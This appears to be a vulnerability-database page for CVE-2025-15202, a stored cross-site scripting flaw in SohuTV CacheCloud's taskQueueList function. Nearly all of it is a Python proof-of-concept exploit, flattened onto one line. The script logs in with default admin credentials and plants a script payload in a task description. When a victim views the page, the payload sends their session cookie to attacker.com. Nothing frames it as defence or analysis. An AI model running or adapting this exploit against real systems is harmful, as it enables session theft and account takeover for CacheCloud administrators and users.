CVE-2025-15202 | SohuTV CacheCloud taskQueueList函数跨站脚本漏洞

import requests import json # CVE-2025-15202 PoC - SohuTV CacheCloud XSS in taskQueueList # Target: SohuTV CacheCloud <= 3.2.0 # Vulnerability: Stored XSS in TaskController.java taskQueueList function TARGET_URL = "http://target.com" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/login" TASK_LIST_URL = f"{TARGET_URL}/task/taskQueueList" # Malicious XSS payload XSS_PAYLOAD = '<script>document.location="http://attacker.com/log?cookie="+document.cookie</script>' def exploit_cve_2025_15202(): """ Exploit for CVE-2025-15202: SohuTV CacheCloud taskQueueList XSS Steps: 1. Authenticate with high-privilege account (admin) 2. Submit XSS payload via task queue creation/modification 3. Trigger the XSS when victim views taskQueueList page """ session = requests.Session() # Step 1: Login with high-privilege account login_data = { 'username': 'admin', 'password': 'password' } login_response = session.post(LOGIN_URL, data=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Inject XSS payload into task queue task_data = { 'taskName': 'Malicious Task', 'taskDescription': XSS_PAYLOAD, 'action': 'create' } inject_response = session.post(TASK_LIST_URL, data=task_data) if inject_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[*] Payload: {XSS_PAYLOAD}") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit_cve_2025_15202()